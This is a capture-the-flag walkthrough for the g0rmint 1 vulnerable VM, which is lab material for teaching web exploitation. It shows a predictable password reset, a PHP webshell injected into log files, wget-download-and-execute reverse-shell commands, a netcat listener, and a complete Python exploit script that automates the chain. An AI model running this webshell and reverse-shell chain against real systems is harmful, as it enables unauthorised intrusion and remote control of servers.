g0rmint: CTF walkthrough


Name: g0rmint 1

Date of release: 3 Nov 2017

Author: Noman Riffat

Series: g0rmint

Contact: w3bdrill3r [at] gmail [dot] com


First of all, let’s find the IP address of the vulnerable system. As usual we use arp-scan.


Then, we scan the system to find which ports/services are running.

[email protected]:~# nmap -A -F

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-21 04:37 CET
Nmap scan report for anakin.home (
Host is up (0.00072s latency).
Not shown: 98 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e4:4e:fd:98:4e:ae:5d:0c:1d:32:e8:be:c4:5b:28:d9 (RSA)
|   256 9b:48:29:39:aa:f5:22:d3:6e:ae:52:23:2a:ae:d1:b2 (ECDSA)
|_  256 19:c2:74:0e:fc:48:3f:38:a6:96:68:19:62:11:c2:bf (EdDSA)
80/tcp open  http    Apache httpd 2.4.18
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: 404 Not Found
MAC Address: 00:0C:29:69:CF:69 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.72 ms anakin.home (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.92 seconds
[email protected]:~#

First steps

If we call and enumerate the root of the web folder we will find the robots.txt file.

[email protected]:~# curl ''
/* Too easy? Lets see */
Disallow: /g0rmint/*
[email protected]:~#

Now, we can focus our research in the g0rmint sub directory. After playing with the website to understand what do what and what is our possibilities we can start reading the source code. An interesting thing can be found in the index.php page.

<!-- start: Mobile Specific -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="backup-directory" content="s3cretbackupdirect0ry">
<!-- end: Mobile Specific -->

Finally, we can download a backup of the website.

[email protected]:~# wget
--2017-11-21 04:57:25--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3747475 (3.6M) [application/zip]
Saving to: ‘backup.zip’

backup.zip                     100%[====================================================>]   3.57M  --.-KB/s    in 0.06s   

2017-11-21 04:57:25 (59.4 MB/s) - ‘backup.zip’ saved [3747475/3747475]

[email protected]:~#

The content of the unzipped file:

[email protected]:~/backup# l
total 104
drwxr-xr-x  8 root root 4096 Nov 18 16:32 .
drwxr-xr-x 31 root root 4096 Nov 21 04:57 ..
-rw-r--r--  1 root root  823 Nov  2 20:22 config.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 css
-rw-r--r--  1 root root 1251 Nov  2 20:30 db.sql
-rw-r--r--  1 root root  493 Nov  2 17:01 deletesecretlogfile.php
-rw-r--r--  1 root root  154 Nov  2 17:01 dummy.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 font
-rw-r--r--  1 root root   45 Nov  2 00:46 footer.php
-rw-r--r--  1 root root 5721 Nov  1 23:45 header.php
drwxr-xr-x  4 root root 4096 Nov  1 23:51 img
-rw-r--r--  1 root root 1986 Nov  1 18:48 index.php
drwxr-xr-x  2 root root 4096 Nov  1 18:19 js
-rw-r--r--  1 root root 7426 Nov  2 17:00 login.php
-rw-r--r--  1 root root   99 Nov  2 17:02 logout.php
-rw-r--r--  1 root root  847 Nov  1 19:02 mainmenu.php
-rw-r--r--  1 root root 5113 Nov  2 17:02 profile.php
-rw-r--r--  1 root root 7343 Nov  2 14:39 reset.php
drwxr-xr-x  2 root root 4096 Nov  2 14:36 s3cr3t-dir3ct0ry-f0r-l0gs
drwxr-xr-x  2 root root 4096 Nov  2 03:06 s3cretbackupdirect0ry
-rw-r--r--  1 root root 2587 Nov  3 14:22 secretlogfile.php
-rw-r--r--  1 root root 2065 Nov  1 23:42 secrets.php
[email protected]:~/backup#

Finding Vulnerabilities

After some research we can find three interesting things.

Firstly, we can find the email and the username of a user in the header of a CSS file.

root@kali:~/backup# cat css/style.css |grep 'Author'
* Author: noman
* Author Email: w3bdrill3r@gmail.com

Secondly, we can reset the password of a user if we have his username and his email. (reset.php)

$message = "";
if (isset($_POST['submit'])) { // If form is submitted
    $email = $_POST['email'];
    $user = $_POST['user'];
    $sql = $pdo->prepare("SELECT * FROM g0rmint WHERE email = :email AND username = :user");
    $sql->bindParam(":email", $email);
    $sql->bindParam(":user", $user);
    $row = $sql->execute();
    $result = $sql->fetch(PDO::FETCH_ASSOC);
    if (count($result) > 1) {
        $password = substr(hash('sha1', gmdate("l jS \of F Y h:i:s A")), 0, 20);
        $password = md5($password);
        $sql = $pdo->prepare("UPDATE g0rmint SET pass = :pass where id = 1");
        $sql->bindParam(":pass", $password);
        $row = $sql->execute();
        $message = "A new password has been sent to your email";
    } else {
        $message = "User not found in our database";

Moreover, as we can see, the new password is based on a generated date and in the bottom of the reset.php file the same date (format) is displayed. So, we can easily find the new password.

<!-- end: JavaScript-->
<div style="float: right; margin-right: 20px; margin-top: 20px; color: #fff;">Page loaded at <b><?php echo gmdate("l jS \of F Y h:i:s A"); ?></b> Standard GMT Time</div>

Finally, we can see that log files are created without enough sanitising, allowing us to inject PHP code in log files and to execute arbitrary commands. (config.php)

if (isset($_POST)) {
    foreach ($_POST as $key => $value) {
        if (!is_array($value)) {
            $value = addslashes($value);

        $_POST[$key] = $value;

function addlog($log, $reason) {
    $myFile = "s3cr3t-dir3ct0ry-f0r-l0gs/" . date("Y-m-d") . ".php";
    if (file_exists($myFile)) {
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");
    } else {
        $fh = fopen($myFile, 'w');
        fwrite($fh, file_get_contents("dummy.php") . "<br>\n");
        $fh = fopen($myFile, 'a');
        fwrite($fh, $reason . $log . "<br>\n");

Note, we have to bypass the addslashes PHP function.

Resetting the Password

First of all, we reset the password of the previously found user.

Resetting password

Then we use the date at the bottom of the page to guess the new password. This simple PHP code can be use:

$password = substr(hash('sha1', 'Tuesday 21st of November 2017 04:38:15 AM')), 0, 20);
echo $password;

In this case the new password will be:

[email protected]:~/Desktop# php test.php 
[email protected]:~/Desktop#

We are now able to log in the web application.

Remote Code Execution

As we saw previously, log files are create without enough sanitising , that would says we can inject PHP code in log files. For that, we inject our PHP code in the email input in the login form.

In my case I use a basic PHP backdoor that execute command passed in a GET variable and encoded in base64.

<pre><?php echo shell_exec(base64_decode($_GET[cmd])); ?>

Note, due to the fact it’s a POST request we have to bypass the addslashes function, that’s why I use $_GET[cmd] instead of $_GET[‘cmd’].

We are now able to execute arbitrary command on the system by calling the poisoned log file. For example:

[email protected]:~/backup# echo 'ls -la' |base64
[email protected]:~/backup#

Test RCE

Now, we will upload a reverse shell, change his permissions and execute the reverse shell, in order to have a remote access to the target system.

[email protected]:~/backup# echo '/usr/bin/wget -O /tmp/rshell' |base64
[email protected]:~/backup# 
[email protected]:~/backup# echo 'chmod 777 /tmp/rshell' |base64
[email protected]:~/backup# 
[email protected]:~/backup# echo '/bin/bash -c /tmp/rshell' |base64
[email protected]:~/backup#

Note, you have to generate, via Metasploit or another platform, a reverse shell and to enable the Apache2 daemon.

[email protected]:~/backup# /etc/init.d/apache2 start

Finally, we have our remote access.

Reverse shell

Python Script

I will not explain this following python script, but you only have to pass arguments to gain a reverse shell. You can find this script here, on my Github account.

import sys
import time
import base64
import hashlib
import requests
import datetime
import threading
import subprocess

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'

successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

if len(sys.argv) < 4:
    print errorMessage('Usage: {} <rhost> <lhost> <username> <email> <binary path>'.format(sys.argv[0]))
    print errorMessage('Where: ')
    print '\t- The remote IP address is the address of the remote server;'
    print '\t- The local IP address of the attacking system;'
    print '\t- The username & email are credentials of the account to reset the password;'
    print '\t- The reverse shell in the /var/www/html/ folder (Msfvenom recommended).\n'
    print errorMessage('Note, nc is required and you have to enable apache2 service.')
    ip = sys.argv[1]
    lhost = sys.argv[2]
    username = sys.argv[3]
    email = sys.argv[4]
    path = sys.argv[5]

def sending(url, s):
    command = base64.b64encode('/bin/bash -c /tmp/rshell')
    res = s.get(url + command)

def recv():
    subprocess.call(['nc -lnvp 1337'], shell=True)

payload = {
    'email': email,
    'user': username,
    'submit': 'reset'

print infoMessage('Trying to reset the password of: ')
print '\t{} : {}'.format(email, username)
res = requests.post("http://" + ip + "/g0rmint/reset.php", data=payload)

if res.status_code != 200:
    print errorMessage('Ooouups something goes wrong!')
print successMessage('Gotcha!\n')

# Dirty as fuck ...
gmt = res.content.split('Page loaded at <b>')[1].split('</b> Standard GMT Time</div>\n')[0]

print infoMessage('Standard GMT Time: ')
print '\t{}\n'.format(gmt)

# Magik
password = hashlib.sha1(gmt).hexdigest()[:20]
print infoMessage('Making magic ...')
print successMessage('New password: {}\n'.format(password))

print infoMessage('Poisoning log files with the following payload: ')
rce = '<?php echo shell_exec(base64_decode($_GET[cmd])); ?>'
print '\t' + rce

payload = {
    'email': rce,
    'pass': password,
    'submit': 'submit'

res = requests.post("http://" + ip + "/g0rmint/login.php", data=payload)
if res.status_code != 200:
    print errorMessage('Ooouups something goes wrong!')
print successMessage('Log files successfully poisoned!\n')

print infoMessage('Trying to log in the web app')
s = requests.Session()
payload = {
    'email': email,
    'pass': password,
    'submit': 'submit'

res = s.post("http://" + ip + "/g0rmint/login.php", data=payload)
if res.status_code != 200:
    print erroMessage('Ooouups something goes wrong!')
print successMessage('Successfully logged in the web app!\n')

print infoMessage('Getting the reverse shell')
logfile = datetime.datetime.today().strftime('%Y-%m-%d') + '.php'
url = 'http://' + ip + '/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/' + logfile + '?cmd='

print infoMessage('Uploading the reverse shell')
command = base64.b64encode('/usr/bin/wget http://' + lhost + '/' + path + ' -O /tmp/rshell')
res = s.get(url + command)

print infoMessage('Changing permissions')
command = base64.b64encode('chmod 777 /tmp/rshell')
res = s.get(url + command)
print infoMessage('Executing the reverse shell')
command = base64.b64encode('/bin/bash -c /tmp/rshell')
res = s.get(url + command)

thread1 = threading.Thread(target=recv)
thread2 = threading.Thread(target=sending, args=(url, s,))


Python script

Privilege Escalation

Another backup.zip file can be found int the /var/www/ folder. If we unzip this file and if we display the contante of db.sql, we will find the original password of the g0rmint user.

[email protected]:/var/www$ mkdir /var/tmp/backup
mkdir /var/tmp/backup
[email protected]:/var/www$ unzip backup.zip -d /var/tmp/backup/
unzip backup.zip -d /var/tmp/backup/
[email protected]:/var/www$ cat /var/tmp/backup/db.sql |grep noman
(1, 'noman', '[email protected]', 'ea60b43e48f3c2de55e4fc89b3da53dc');
[email protected]:/var/www$

The decrypted MD5 password is: tayyab123 Now we can log in the system via SSH.

[email protected]:~/Desktop# ssh [email protected]
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:A+QDYP4PRQ/yHT8YJNEE6isId6ouaX24QAp1vYf1qK4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Mon Nov 20 11:30:58 2017 from
[email protected]:~$

The g0rmint user is a privileged user, so we can become root.